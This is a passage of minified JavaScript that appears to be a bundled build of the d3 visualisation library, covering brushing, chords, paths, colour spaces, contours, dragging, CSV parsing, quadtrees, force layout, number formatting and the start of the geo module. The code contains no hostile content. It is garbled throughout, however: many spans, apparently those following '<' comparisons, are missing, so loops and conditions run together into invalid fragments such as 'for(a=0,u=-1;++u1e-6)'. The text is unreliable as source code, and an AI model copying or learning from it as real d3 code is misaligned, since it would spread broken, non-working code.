t.type}));r.exit().remove(),r.enter().append("rect").attr("class",(function(t){return"handle handle--"+t.type})).attr("cursor",(function(t){return fi[t.type]})),e.each(u).attr("fill","none").attr("pointer-events","all").on("mousedown.brush",f).filter(i).on("touchstart.brush",f).on("touchmove.brush",d).on("touchend.brush touchcancel.brush",p).style("touch-action","none").style("-webkit-tap-highlight-color","rgba(0,0,0,0)")}function u(){var t=we(this),e=_i(this).selection;e?(t.selectAll(".selection").style("display",null).attr("x",e[0][0]).attr("y",e[0][1]).attr("width",e[1][0]-e[0][0]).attr("height",e[1][1]-e[0][1]),t.selectAll(".handle").style("display",null).attr("x",(function(t){return"e"===t.type[t.type.length-1]?e[1][0]-s/2:e[0][0]-s/2})).attr("y",(function(t){return"s"===t.type[0]?e[1][1]-s/2:e[0][1]-s/2})).attr("width",(function(t){return"n"===t.type||"s"===t.type?e[1][0]-e[0][0]+s:s})).attr("height",(function(t){return"e"===t.type||"w"===t.type?e[1][1]-e[0][1]+s:s}))):t.selectAll(".selection,.handle").style("display","none").attr("x",null).attr("y",null).attr("width",null).attr("height",null)}function l(t,e,n){var r=t.__brush.emitter;return!r||n&&r.clean?new h(t,e,n):r}function h(t,e,n){this.that=t,this.args=e,this.state=t.__brush,this.active=0,this.clean=n}function f(){if((!e||ue.touches)&&r.apply(this,arguments)){var n,i,o,s,c,h,f,d,p,y,g,m=this,v=ue.target.__data__.type,b="selection"===(a&&ue.metaKey?v="overlay":v)?ni:a&&ue.altKey?ai:ii,x=t===li?null:yi[v],_=t===ui?null:gi[v],k=_i(m),w=k.extent,T=k.selection,E=w[0][0],C=w[0][1],S=w[1][0],A=w[1][1],M=0,O=0,N=x&&_&&a&&ue.shiftKey,B=ue.touches?ci(ue.changedTouches[0].identifier):Dn,D=B(m),L=D,I=l(m,arguments,!0).beforestart();"overlay"===v?(T&&(p=!0),k.selection=T=[[n=t===li?E:D[0],o=t===ui?C:D[1]],[c=t===li?S:n,f=t===ui?A:o]]):(n=T[0][0],o=T[0][1],c=T[1][0],f=T[1][1]),i=n,s=o,h=c,d=f;var R=we(m).attr("pointer-events","none"),F=R.selectAll(".overlay").attr("cursor",fi[v]);if(ue.touches)I.moved=j,I.ended=z;else{var P=we(ue.view).on("mousemove.brush",j,!0).on("mouseup.brush",z,!0);a&&P.on("keydown.brush",U,!0).on("keyup.brush",$,!0),Ce(ue.view)}ti(),sr(m),u.call(m),I.start()}function j(){var t=B(m);!N||y||g||(Math.abs(t[0]-L[0])>Math.abs(t[1]-L[1])?g=!0:y=!0),L=t,p=!0,ei(),Y()}function Y(){var t;switch(M=L[0]-D[0],O=L[1]-D[1],b){case ri:case ni:x&&(M=Math.max(E-n,Math.min(S-c,M)),i=n+M,h=c+M),_&&(O=Math.max(C-o,Math.min(A-f,O)),s=o+O,d=f+O);break;case ii:x<0?(M=Math.max(E-n,Math.min(S-n,M)),i=n+M,h=c):x>0&&(M=Math.max(E-c,Math.min(S-c,M)),i=n,h=c+M),_<0?(O=Math.max(C-o,Math.min(A-o,O)),s=o+O,d=f):_>0&&(O=Math.max(C-f,Math.min(A-f,O)),s=o,d=f+O);break;case ai:x&&(i=Math.max(E,Math.min(S,n-M*x)),h=Math.max(E,Math.min(S,c+M*x))),_&&(s=Math.max(C,Math.min(A,o-O*_)),d=Math.max(C,Math.min(A,f+O*_)))}h0&&(n=i-M),_<0?f=d-O:_>0&&(o=s-O),b=ri,F.attr("cursor",fi.selection),Y());break;default:return}ei()}function $(){switch(ue.keyCode){case 16:N&&(y=g=N=!1,Y());break;case 18:b===ai&&(x<0?c=h:x>0&&(n=i),_<0?f=d:_>0&&(o=s),b=ii,Y());break;case 32:b===ri&&(ue.altKey?(x&&(c=h-M*x,n=i+M*x),_&&(f=d-O*_,o=s+O*_),b=ai):(x<0?c=h:x>0&&(n=i),_<0?f=d:_>0&&(o=s),b=ii),F.attr("cursor",fi[v]),Y());break;default:return}ei()}}function d(){l(this,arguments).moved()}function p(){l(this,arguments).ended()}function y(){var e=this.__brush||{selection:null};return e.extent=si(n.apply(this,arguments)),e.dim=t,e}return c.move=function(e,n){e.selection?e.on("start.brush",(function(){l(this,arguments).beforestart().start()})).on("interrupt.brush end.brush",(function(){l(this,arguments).end()})).tween("brush",(function(){var e=this,r=e.__brush,i=l(e,arguments),a=r.selection,o=t.input("function"==typeof n?n.apply(this,arguments):n,r.extent),s=Mn(a,o);function c(t){r.selection=1===t&&null===o?null:s(t),u.call(e),i.brush()}return null!==a&&null!==o?c:c(1)})):e.each((function(){var e=this,r=arguments,i=e.__brush,a=t.input("function"==typeof n?n.apply(e,r):n,i.extent),o=l(e,r).beforestart();sr(e),i.selection=null===a?null:a,u.call(e),o.start().brush().end()}))},c.clear=function(t){c.move(t,null)},h.prototype={beforestart:function(){return 1==++this.active&&(this.state.emitter=this,this.starting=!0),this},start:function(){return this.starting?(this.starting=!1,this.emit("start")):this.emit("brush"),this},brush:function(){return this.emit("brush"),this},end:function(){return 0==--this.active&&(delete this.state.emitter,this.emit("end")),this},emit:function(e){ye(new Jr(c,e,t.output(this.state.selection)),o.apply,o,[e,this.that,this.args])}},c.extent=function(t){return arguments.length?(n="function"==typeof t?t:Qr(si(t)),c):n},c.filter=function(t){return arguments.length?(r="function"==typeof t?t:Qr(!!t),c):r},c.touchable=function(t){return arguments.length?(i="function"==typeof t?t:Qr(!!t),c):i},c.handleSize=function(t){return arguments.length?(s=+t,c):s},c.keyModifiers=function(t){return arguments.length?(a=!!t,c):a},c.on=function(){var t=o.on.apply(o,arguments);return t===o?c:t},c}var Ai=Math.cos,Mi=Math.sin,Oi=Math.PI,Ni=Oi/2,Bi=2*Oi,Di=Math.max;function Li(t){return function(e,n){return t(e.source.value+e.target.value,n.source.value+n.target.value)}}var Ii=function(){var t=0,e=null,n=null,r=null;function i(i){var a,o,s,c,u,l,h=i.length,f=[],d=w(h),p=[],y=[],g=y.groups=new Array(h),m=new Array(h*h);for(a=0,u=-1;++u1e-6)if(Math.abs(l*s-c*u)>1e-6&&i){var f=n-a,d=r-o,p=s*s+c*c,y=f*f+d*d,g=Math.sqrt(p),m=Math.sqrt(h),v=i*Math.tan((Pi-Math.acos((p+h-y)/(2*g*m)))/2),b=v/m,x=v/g;Math.abs(b-1)>1e-6&&(this._+="L"+(t+b*u)+","+(e+b*l)),this._+="A"+i+","+i+",0,0,"+ +(l*f>u*d)+","+(this._x1=t+x*s)+","+(this._y1=e+x*c)}else this._+="L"+(this._x1=t)+","+(this._y1=e);else;},arc:function(t,e,n,r,i,a){t=+t,e=+e,a=!!a;var o=(n=+n)*Math.cos(r),s=n*Math.sin(r),c=t+o,u=e+s,l=1^a,h=a?r-i:i-r;if(n<0)throw new Error("negative radius: "+n);null===this._x1?this._+="M"+c+","+u:(Math.abs(this._x1-c)>1e-6||Math.abs(this._y1-u)>1e-6)&&(this._+="L"+c+","+u),n&&(h<0&&(h=h%ji+ji),h>Yi?this._+="A"+n+","+n+",0,1,"+l+","+(t-o)+","+(e-s)+"A"+n+","+n+",0,1,"+l+","+(this._x1=c)+","+(this._y1=u):h>1e-6&&(this._+="A"+n+","+n+",0,"+ +(h>=Pi)+","+l+","+(this._x1=t+n*Math.cos(i))+","+(this._y1=e+n*Math.sin(i))))},rect:function(t,e,n,r){this._+="M"+(this._x0=this._x1=+t)+","+(this._y0=this._y1=+e)+"h"+ +n+"v"+ +r+"h"+-n+"Z"},toString:function(){return this._}};var $i=Ui;function qi(t){return t.source}function Wi(t){return t.target}function Hi(t){return t.radius}function Vi(t){return t.startAngle}function Gi(t){return t.endAngle}var Xi=function(){var t=qi,e=Wi,n=Hi,r=Vi,i=Gi,a=null;function o(){var o,s=Ri.call(arguments),c=t.apply(this,s),u=e.apply(this,s),l=+n.apply(this,(s[0]=c,s)),h=r.apply(this,s)-Ni,f=i.apply(this,s)-Ni,d=l*Ai(h),p=l*Mi(h),y=+n.apply(this,(s[0]=u,s)),g=r.apply(this,s)-Ni,m=i.apply(this,s)-Ni;if(a||(a=o=$i()),a.moveTo(d,p),a.arc(0,0,l,h,f),h===g&&f===m||(a.quadraticCurveTo(0,0,y*Ai(g),y*Mi(g)),a.arc(0,0,y,g,m)),a.quadraticCurveTo(0,0,d,p),a.closePath(),o)return a=null,o+""||null}return o.radius=function(t){return arguments.length?(n="function"==typeof t?t:Fi(+t),o):n},o.startAngle=function(t){return arguments.length?(r="function"==typeof t?t:Fi(+t),o):r},o.endAngle=function(t){return arguments.length?(i="function"==typeof t?t:Fi(+t),o):i},o.source=function(e){return arguments.length?(t=e,o):t},o.target=function(t){return arguments.length?(e=t,o):e},o.context=function(t){return arguments.length?(a=null==t?null:t,o):a},o};function Zi(){}function Ki(t,e){var n=new Zi;if(t instanceof Zi)t.each((function(t,e){n.set(e,t)}));else if(Array.isArray(t)){var r,i=-1,a=t.length;if(null==e)for(;++i=r.length)return null!=t&&n.sort(t),null!=e?e(n):n;for(var c,u,l,h=-1,f=n.length,d=r[i++],p=Qi(),y=o();++hr.length)return n;var o,s=i[a-1];return null!=e&&a>=r.length?o=n.entries():(o=[],n.each((function(e,n){o.push({key:n,values:t(e,a)})}))),null!=s?o.sort((function(t,e){return s(t.key,e.key)})):o}(a(t,0,na,ra),0)},key:function(t){return r.push(t),n},sortKeys:function(t){return i[r.length-1]=t,n},sortValues:function(e){return t=e,n},rollup:function(t){return e=t,n}}};function ta(){return{}}function ea(t,e,n){t[e]=n}function na(){return Qi()}function ra(t,e,n){t.set(e,n)}function ia(){}var aa=Qi.prototype;function oa(t,e){var n=new ia;if(t instanceof ia)t.each((function(t){n.add(t)}));else if(t){var r=-1,i=t.length;if(null==e)for(;++r6/29*(6/29)*(6/29)?Math.pow(t,1/3):t/(6/29*3*(6/29))+4/29}function va(t){return t>6/29?t*t*t:6/29*3*(6/29)*(t-4/29)}function ba(t){return 255*(t<=.0031308?12.92*t:1.055*Math.pow(t,1/2.4)-.055)}function xa(t){return(t/=255)<=.04045?t/12.92:Math.pow((t+.055)/1.055,2.4)}function _a(t){if(t instanceof Ta)return new Ta(t.h,t.c,t.l,t.opacity);if(t instanceof ga||(t=da(t)),0===t.a&&0===t.b)return new Ta(NaN,0r!=d>r&&n<(f-u)*(r-l)/(d-l)+u&&(i=-i)}return i}function Pa(t,e,n){var r,i,a,o;return function(t,e,n){return(e[0]-t[0])*(n[1]-t[1])==(n[0]-t[0])*(e[1]-t[1])}(t,e,n)&&(i=t[r=+(t[0]===e[0])],a=n[r],o=e[r],i<=a&&a<=o||o<=a&&a<=i)}var ja=function(){},Ya=[[],[[[1,1.5],[.5,1]]],[[[1.5,1],[1,1.5]]],[[[1.5,1],[.5,1]]],[[[1,.5],[1.5,1]]],[[[1,1.5],[.5,1]],[[1,.5],[1.5,1]]],[[[1,.5],[1,1.5]]],[[[1,.5],[.5,1]]],[[[.5,1],[1,.5]]],[[[1,1.5],[1,.5]]],[[[.5,1],[1,.5]],[[1.5,1],[1,1.5]]],[[[1.5,1],[1,.5]]],[[[.5,1],[1.5,1]]],[[[1,1.5],[1.5,1]]],[[[.5,1],[1,1.5]]],[]],za=function(){var t=1,e=1,n=O,r=s;function i(t){var e=n(t);if(Array.isArray(e))e=e.slice().sort(La);else{var r=m(t),i=r[0],o=r[1];e=M(i,o,e),e=w(Math.floor(i/e)*e,Math.floor(o/e)*e,e)}return e.map((function(e){return a(t,e)}))}function a(n,i){var a=[],s=[];return function(n,r,i){var a,s,c,u,l,h,f=new Array,d=new Array;a=s=-1,u=n[0]>=r,Ya[u<<1].forEach(p);for(;++a=r,Ya[c|u<<1].forEach(p);Ya[u<<0].forEach(p);for(;++s=r,l=n[s*t]>=r,Ya[u<<1|l<<2].forEach(p);++a=r,h=l,l=n[s*t+a+1]>=r,Ya[c|u<<1|l<<2|h<<3].forEach(p);Ya[u|l<<3].forEach(p)}a=-1,l=n[s*t]>=r,Ya[l<<2].forEach(p);for(;++a=r,Ya[l<<2|h<<3].forEach(p);function p(t){var e,n,r=[t[0][0]+a,t[0][1]+s],c=[t[1][0]+a,t[1][1]+s],u=o(r),l=o(c);(e=d[u])?(n=f[l])?(delete d[e.end],delete f[n.start],e===n?(e.ring.push(c),i(e.ring)):f[e.start]=d[n.end]={start:e.start,end:n.end,ring:e.ring.concat(n.ring)}):(delete d[e.end],e.ring.push(c),d[e.end=l]=e):(e=f[l])?(n=d[u])?(delete f[e.start],delete d[n.end],e===n?(e.ring.push(c),i(e.ring)):f[n.start]=d[e.end]={start:n.start,end:e.end,ring:n.ring.concat(e.ring)}):(delete f[e.start],e.ring.unshift(r),f[e.start=u]=e):f[u]=d[l]={start:u,end:l,ring:[r,c]}}Ya[l<<3].forEach(p)}(n,i,(function(t){r(t,n,i),function(t){for(var e=0,n=t.length,r=t[n-1][1]*t[0][0]-t[n-1][0]*t[0][1];++e0?a.push([t]):s.push(t)})),s.forEach((function(t){for(var e,n=0,r=a.length;n0&&o0&&s0&&a>0))throw new Error("invalid size");return t=r,e=a,i},i.thresholds=function(t){return arguments.length?(n="function"==typeof t?t:Array.isArray(t)?Ia(Da.call(t)):Ia(t),i):n},i.smooth=function(t){return arguments.length?(r=t?s:ja,i):r===s},i};function Ua(t,e,n){for(var r=t.width,i=t.height,a=1+(n<<1),o=0;o=n&&(s>=a&&(c-=t.data[s-a+o*r]),e.data[s-n+o*r]=c/Math.min(s+1,r-1+a-s,a))}function $a(t,e,n){for(var r=t.width,i=t.height,a=1+(n<<1),o=0;o=n&&(s>=a&&(c-=t.data[o+(s-a)*r]),e.data[o+(s-n)*r]=c/Math.min(s+1,i-1+a-s,a))}function qa(t){return t[0]}function Wa(t){return t[1]}function Ha(){return 1}var Va=function(){var t=qa,e=Wa,n=Ha,r=960,i=500,a=20,o=2,s=3*a,c=r+2*s>>o,u=i+2*s>>o,l=Ia(20);function h(r){var i=new Float32Array(c*u),h=new Float32Array(c*u);r.forEach((function(r,a,l){var h=+t(r,a,l)+s>>o,f=+e(r,a,l)+s>>o,d=+n(r,a,l);h>=0&&h=0&&f>o),$a({width:c,height:u,data:h},{width:c,height:u,data:i},a>>o),Ua({width:c,height:u,data:i},{width:c,height:u,data:h},a>>o),$a({width:c,height:u,data:h},{width:c,height:u,data:i},a>>o),Ua({width:c,height:u,data:i},{width:c,height:u,data:h},a>>o),$a({width:c,height:u,data:h},{width:c,height:u,data:i},a>>o);var d=l(i);if(!Array.isArray(d)){var p=I(i);d=M(0,p,d),(d=w(0,Math.floor(p/d)*d,d)).shift()}return za().thresholds(d).size([c,u])(i).map(f)}function f(t){return t.value*=Math.pow(2,-2*o),t.coordinates.forEach(d),t}function d(t){t.forEach(p)}function p(t){t.forEach(y)}function y(t){t[0]=t[0]*Math.pow(2,o)-s,t[1]=t[1]*Math.pow(2,o)-s}function g(){return c=r+2*(s=3*a)>>o,u=i+2*s>>o,h}return h.x=function(e){return arguments.length?(t="function"==typeof e?e:Ia(+e),h):t},h.y=function(t){return arguments.length?(e="function"==typeof t?t:Ia(+t),h):e},h.weight=function(t){return arguments.length?(n="function"==typeof t?t:Ia(+t),h):n},h.size=function(t){if(!arguments.length)return[r,i];var e=Math.ceil(t[0]),n=Math.ceil(t[1]);if(!(e>=0||e>=0))throw new Error("invalid size");return r=e,i=n,g()},h.cellSize=function(t){if(!arguments.length)return 1<=1))throw new Error("invalid cell size");return o=Math.floor(Math.log(t)/Math.LN2),g()},h.thresholds=function(t){return arguments.length?(l="function"==typeof t?t:Array.isArray(t)?Ia(Da.call(t)):Ia(t),h):l},h.bandwidth=function(t){if(!arguments.length)return Math.sqrt(a*(a+1));if(!((t=+t)>=0))throw new Error("invalid bandwidth");return a=Math.round((Math.sqrt(4*t*t+1)-1)/2),g()},h},Ga=function(t){return function(){return t}};function Xa(t,e,n,r,i,a,o,s,c,u){this.target=t,this.type=e,this.subject=n,this.identifier=r,this.active=i,this.x=a,this.y=o,this.dx=s,this.dy=c,this._=u}function Za(){return!ue.ctrlKey&&!ue.button}function Ka(){return this.parentNode}function Qa(t){return null==t?{x:ue.x,y:ue.y}:t}function Ja(){return navigator.maxTouchPoints||"ontouchstart"in this}Xa.prototype.on=function(){var t=this._.on.apply(this._,arguments);return t===this._?this:t};var to=function(){var t,e,n,r,i=Za,a=Ka,o=Qa,s=Ja,c={},u=ht("start","drag","end"),l=0,h=0;function f(t){t.on("mousedown.drag",d).filter(s).on("touchstart.drag",g).on("touchmove.drag",m).on("touchend.drag touchcancel.drag",v).style("touch-action","none").style("-webkit-tap-highlight-color","rgba(0,0,0,0)")}function d(){if(!r&&i.apply(this,arguments)){var o=b("mouse",a.apply(this,arguments),Dn,this,arguments);o&&(we(ue.view).on("mousemove.drag",p,!0).on("mouseup.drag",y,!0),Ce(ue.view),Te(),n=!1,t=ue.clientX,e=ue.clientY,o("start"))}}function p(){if(Ee(),!n){var r=ue.clientX-t,i=ue.clientY-e;n=r*r+i*i>h}c.mouse("drag")}function y(){we(ue.view).on("mousemove.drag mouseup.drag",null),Se(ue.view,n),Ee(),c.mouse("end")}function g(){if(i.apply(this,arguments)){var t,e,n=ue.changedTouches,r=a.apply(this,arguments),o=n.length;for(t=0;t9999?"+"+ao(e,6):ao(e,4))+"-"+ao(t.getUTCMonth()+1,2)+"-"+ao(t.getUTCDate(),2)+(a?"T"+ao(n,2)+":"+ao(r,2)+":"+ao(i,2)+"."+ao(a,3)+"Z":i?"T"+ao(n,2)+":"+ao(r,2)+":"+ao(i,2)+"Z":r||n?"T"+ao(n,2)+":"+ao(r,2)+"Z":"")}var so=function(t){var e=new RegExp('["'+t+"\n\r]"),n=t.charCodeAt(0);function r(t,e){var r,i=[],a=t.length,o=0,s=0,c=a<=0,u=!1;function l(){if(c)return no;if(u)return u=!1,eo;var e,r,i=o;if(34===t.charCodeAt(i)){for(;o++=a?c=!0:10===(r=t.charCodeAt(o++))?u=!0:13===r&&(u=!0,10===t.charCodeAt(o)&&++o),t.slice(i+1,e-1).replace(/""/g,'"')}for(;o=(a=(y+m)/2))?y=a:m=a,(l=n>=(o=(g+v)/2))?g=o:v=o,i=d,!(d=d[h=l<<1|u]))return i[h]=p,t;if(s=+t._x.call(null,d.data),c=+t._y.call(null,d.data),e===s&&n===c)return p.next=d,i?i[h]=p:t._root=p,t;do{i=i?i[h]=new Array(4):t._root=new Array(4),(u=e>=(a=(y+m)/2))?y=a:m=a,(l=n>=(o=(g+v)/2))?g=o:v=o}while((h=l<<1|u)==(f=(c>=o)<<1|s>=a));return i[f]=d,i[h]=p,t}var ws=function(t,e,n,r,i){this.node=t,this.x0=e,this.y0=n,this.x1=r,this.y1=i};function Ts(t){return t[0]}function Es(t){return t[1]}function Cs(t,e,n){var r=new Ss(null==e?Ts:e,null==n?Es:n,NaN,NaN,NaN,NaN);return null==t?r:r.addAll(t)}function Ss(t,e,n,r,i,a){this._x=t,this._y=e,this._x0=n,this._y0=r,this._x1=i,this._y1=a,this._root=void 0}function As(t){for(var e={data:t.data},n=e;t=t.next;)n=n.next={data:t.data};return e}var Ms=Cs.prototype=Ss.prototype;function Os(t){return t.x+t.vx}function Ns(t){return t.y+t.vy}Ms.copy=function(){var t,e,n=new Ss(this._x,this._y,this._x0,this._y0,this._x1,this._y1),r=this._root;if(!r)return n;if(!r.length)return n._root=As(r),n;for(t=[{source:r,target:n._root=new Array(4)}];r=t.pop();)for(var i=0;i<4;++i)(e=r.source[i])&&(e.length?t.push({source:e,target:r.target[i]=new Array(4)}):r.target[i]=As(e));return n},Ms.add=function(t){var e=+this._x.call(null,t),n=+this._y.call(null,t);return ks(this.cover(e,n),e,n,t)},Ms.addAll=function(t){var e,n,r,i,a=t.length,o=new Array(a),s=new Array(a),c=1/0,u=1/0,l=-1/0,h=-1/0;for(n=0;nl&&(l=r),ih&&(h=i));if(c>l||u>h)return this;for(this.cover(c,u).cover(l,h),n=0;nt||t>=i||r>e||e>=a;)switch(s=(ef||(a=c.y0)>d||(o=c.x1)=m)<<1|t>=g)&&(c=p[p.length-1],p[p.length-1]=p[p.length-1-u],p[p.length-1-u]=c)}else{var v=t-+this._x.call(null,y.data),b=e-+this._y.call(null,y.data),x=v*v+b*b;if(x=(s=(p+g)/2))?p=s:g=s,(l=o>=(c=(y+m)/2))?y=c:m=c,e=d,!(d=d[h=l<<1|u]))return this;if(!d.length)break;(e[h+1&3]||e[h+2&3]||e[h+3&3])&&(n=e,f=h)}for(;d.data!==t;)if(r=d,!(d=d.next))return this;return(i=d.next)&&delete d.next,r?(i?r.next=i:delete r.next,this):e?(i?e[h]=i:delete e[h],(d=e[0]||e[1]||e[2]||e[3])&&d===(e[3]||e[2]||e[1]||e[0])&&!d.length&&(n?n[f]=d:this._root=d),this):(this._root=i,this)},Ms.removeAll=function(t){for(var e=0,n=t.length;ec+d||iu+d||as.index){var p=c-o.x-o.vx,y=u-o.y-o.vy,g=p*p+y*y;gt.r&&(t.r=t[e].r)}function s(){if(e){var r,i,a=e.length;for(n=new Array(a),r=0;r1?(null==n?s.remove(t):s.set(t,d(n)),e):s.get(t)},find:function(e,n,r){var i,a,o,s,c,u=0,l=t.length;for(null==r?r=1/0:r*=r,u=0;u1?(u.on(t,n),e):u.on(t)}}},Ys=function(){var t,e,n,r,i=xs(-30),a=1,o=1/0,s=.81;function c(r){var i,a=t.length,o=Cs(t,Rs,Fs).visitAfter(l);for(n=r,i=0;i=o)){(t.data!==e||t.next)&&(0===l&&(d+=(l=_s())*l),0===h&&(d+=(h=_s())*h),d1?r[0]+r.slice(2):r,+t.slice(n+1)]}var Ws=function(t){return(t=qs(Math.abs(t)))?t[1]:NaN},Hs=/^(?:(.)?([<>=^]))?([+\-( ])?([$#])?(0)?(\d+)?(,)?(\.\d+)?(~)?([a-z%])?$/i;function Vs(t){if(!(e=Hs.exec(t)))throw new Error("invalid format: "+t);var e;return new Gs({fill:e[1],align:e[2],sign:e[3],symbol:e[4],zero:e[5],width:e[6],comma:e[7],precision:e[8]&&e[8].slice(1),trim:e[9],type:e[10]})}function Gs(t){this.fill=void 0===t.fill?" ":t.fill+"",this.align=void 0===t.align?">":t.align+"",this.sign=void 0===t.sign?"-":t.sign+"",this.symbol=void 0===t.symbol?"":t.symbol+"",this.zero=!!t.zero,this.width=void 0===t.width?void 0:+t.width,this.comma=!!t.comma,this.precision=void 0===t.precision?void 0:+t.precision,this.trim=!!t.trim,this.type=void 0===t.type?"":t.type+""}Vs.prototype=Gs.prototype,Gs.prototype.toString=function(){return this.fill+this.align+this.sign+this.symbol+(this.zero?"0":"")+(void 0===this.width?"":Math.max(1,0|this.width))+(this.comma?",":"")+(void 0===this.precision?"":"."+Math.max(0,0|this.precision))+(this.trim?"~":"")+this.type};var Xs,Zs,Ks,Qs,Js=function(t,e){var n=qs(t,e);if(!n)return t+"";var r=n[0],i=n[1];return i<0?"0."+new Array(-i).join("0")+r:r.length>i+1?r.slice(0,i+1)+"."+r.slice(i+1):r+new Array(i-r.length+2).join("0")},tc={"%":function(t,e){return(100*t).toFixed(e)},b:function(t){return Math.round(t).toString(2)},c:function(t){return t+""},d:function(t){return Math.abs(t=Math.round(t))>=1e21?t.toLocaleString("en").replace(/,/g,""):t.toString(10)},e:function(t,e){return t.toExponential(e)},f:function(t,e){return t.toFixed(e)},g:function(t,e){return t.toPrecision(e)},o:function(t){return Math.round(t).toString(8)},p:function(t,e){return Js(100*t,e)},r:Js,s:function(t,e){var n=qs(t,e);if(!n)return t+"";var r=n[0],i=n[1],a=i-(Xs=3*Math.max(-8,Math.min(8,Math.floor(i/3))))+1,o=r.length;return a===o?r:a>o?r+new Array(a-o+1).join("0"):a>0?r.slice(0,a)+"."+r.slice(a):"0."+new Array(1-a).join("0")+qs(t,Math.max(0,e+a-1))[0]},X:function(t){return Math.round(t).toString(16).toUpperCase()},x:function(t){return Math.round(t).toString(16)}},ec=function(t){return t},nc=Array.prototype.map,rc=["y","z","a","f","p","n","µ","m","","k","M","G","T","P","E","Z","Y"],ic=function(t){var e,n,r=void 0===t.grouping||void 0===t.thousands?ec:(e=nc.call(t.grouping,Number),n=t.thousands+"",function(t,r){for(var i=t.length,a=[],o=0,s=e[0],c=0;i>0&&s>0&&(c+s+1>r&&(s=Math.max(1,r-c)),a.push(t.substring(i-=s,i+s)),!((c+=s+1)>r));)s=e[o=(o+1)%e.length];return a.reverse().join(n)}),i=void 0===t.currency?"":t.currency[0]+"",a=void 0===t.currency?"":t.currency[1]+"",o=void 0===t.decimal?".":t.decimal+"",s=void 0===t.numerals?ec:function(t){return function(e){return e.replace(/[0-9]/g,(function(e){return t[+e]}))}}(nc.call(t.numerals,String)),c=void 0===t.percent?"%":t.percent+"",u=void 0===t.minus?"-":t.minus+"",l=void 0===t.nan?"NaN":t.nan+"";function h(t){var e=(t=Vs(t)).fill,n=t.align,h=t.sign,f=t.symbol,d=t.zero,p=t.width,y=t.comma,g=t.precision,m=t.trim,v=t.type;"n"===v?(y=!0,v="g"):tc[v]||(void 0===g&&(g=12),m=!0,v="g"),(d||"0"===e&&"="===n)&&(d=!0,e="0",n="=");var b="$"===f?i:"#"===f&&/[boxX]/.test(v)?"0"+v.toLowerCase():"",x="$"===f?a:/[%p]/.test(v)?c:"",_=tc[v],k=/[defgprs%]/.test(v);function w(t){var i,a,c,f=b,w=x;if("c"===v)w=_(t)+w,t="";else{var T=(t=+t)<0||1/t<0;if(t=isNaN(t)?l:_(Math.abs(t),g),m&&(t=function(t){t:for(var e,n=t.length,r=1,i=-1;r0&&(i=0)}return i>0?t.slice(0,i)+t.slice(e+1):t}(t)),T&&0==+t&&"+"!==h&&(T=!1),f=(T?"("===h?h:u:"-"===h||"("===h?"":h)+f,w=("s"===v?rc[8+Xs/3]:"")+w+(T&&"("===h?")":""),k)for(i=-1,a=t.length;++i(c=t.charCodeAt(i))||c>57){w=(46===c?o+t.slice(i+1):t.slice(i))+w,t=t.slice(0,i);break}}y&&!d&&(t=r(t,1/0));var E=f.length+t.length+w.length,C=E>1)+f+t+w+C.slice(E);break;default:t=C+f+t+w}return s(t)}return g=void 0===g?6:/[gprs]/.test(v)?Math.max(1,Math.min(21,g)):Math.max(0,Math.min(20,g)),w.toString=function(){return t+""},w}return{format:h,formatPrefix:function(t,e){var n=h(((t=Vs(t)).type="f",t)),r=3*Math.max(-8,Math.min(8,Math.floor(Ws(e)/3))),i=Math.pow(10,-r),a=rc[8+r/3];return function(t){return n(i*t)+a}}}};function ac(t){return Zs=ic(t),Ks=Zs.format,Qs=Zs.formatPrefix,Zs}ac({decimal:".",thousands:",",grouping:[3],currency:["$",""],minus:"-"});var oc=function(t){return Math.max(0,-Ws(Math.abs(t)))},sc=function(t,e){return Math.max(0,3*Math.max(-8,Math.min(8,Math.floor(Ws(e)/3)))-Ws(Math.abs(t)))},cc=function(t,e){return t=Math.abs(t),e=Math.abs(e)-t,Math.max(0,Ws(e)-Ws(t))+1},uc=function(){return new lc};function lc(){this.reset()}lc.prototype={constructor:lc,reset:function(){this.s=this.t=0},add:function(t){fc(hc,t,this.t),fc(this,hc.s,this.s),this.s?this.t+=hc.t:this.s=hc.t},valueOf:function(){return this.s}};var hc=new lc;function fc(t,e,n){var r=t.s=e+n,i=r-e,a=r-i;t.t=e-a+(n-i)}var dc=Math.PI,pc=dc/2,yc=dc/4,gc=2*dc,mc=180/dc,vc=dc/180,bc=Math.abs,xc=Math.atan,_c=Math.atan2,kc=Math.cos,wc=Math.ceil,Tc=Math.exp,Ec=(Math.floor,Math.log),Cc=Math.pow,Sc=Math.sin,Ac=Math.sign||function(t){return t>0?1:t<0?-1:0},Mc=Math.sqrt,Oc=Math.tan;function Nc(t){return t>1?0:t<-1?dc:Math.acos(t)}function Bc(t){return t>1?pc:t<-1?-pc:Math.asin(t)}function Dc(t){return(t=Sc(t/2))*t}function Lc(){}function Ic(t,e){t&&Fc.hasOwnProperty(t.type)&&Fc[t.type](t,e)}var Rc={Feature:function(t,e){Ic(t.geometry,e)},FeatureCollection:function(t,e){for(var n=t.features,r=-1,i=n.length;++r=0?1:-1,i=r*n,a=kc(e=(e*=vc)/2+yc),o=Sc(e),s=qc*o,c=$c*a+s*kc(i),u=s*r*Sc(i);Hc.add(_c(u,c)),Uc=t,$c=a,qc=o}var Jc=function(t){return Vc.reset(),Wc(t,Gc),2*Vc};function tu(t){return[_c(t[1],t[0]),Bc(t[2])]}function eu(t){var e=t[0],n=t[1],r=kc(n);return[r*kc(e),r*Sc(e),Sc(n)]}function nu(t,e){return t[0]*e[0]+t[1]*e[1]+t[2]*e[2]}function ru(t,e){return[t[1]*e[2]-t[2]*e[1],t[2]*e[0]-t[0]*e[2],t[0]*e[1]-t[1]*e[0]]}function iu(t,e){t[0]+=e[0],t[1]+=e[1],t[2]+=e[2]}function au(t,e){return[t[0]*e,t[1]*e,t[2]*e]}function ou(t){var e=Mc(t[0]*t[0]+t[1]*t[1]+t[2]*t[2]);t[0]/=e,t[1]/=e,t[2]/=e}var su,cu,uu,lu,hu,fu,du,pu,yu,gu,mu=uc(),vu={point:bu,lineStart:_u,lineEnd:ku,polygonStart:function(){vu.point=wu,vu.lineStart=Tu,vu.lineEnd=Eu,mu.reset(),Gc.polygonStart()},polygonEnd:function(){Gc.polygonEnd(),vu.point=bu,vu.lineStart=_u,vu.lineEnd=ku,Hc<0?(su=-(uu=180),cu=-(lu=90)):mu>1e-6?lu=90:mu<-1e-6&&(cu=-90),gu[0]=su,gu[1]=uu},sphere:function(){su=-(uu=180),cu=-(lu=90)}};function bu(t,e){yu.push(gu=[su=t,uu=t]),elu&&(lu=e)}function xu(t,e){var n=eu([t*vc,e*vc]);if(pu){var r=ru(pu,n),i=ru([r[1],-r[0],0],r);ou(i),i=tu(i);var 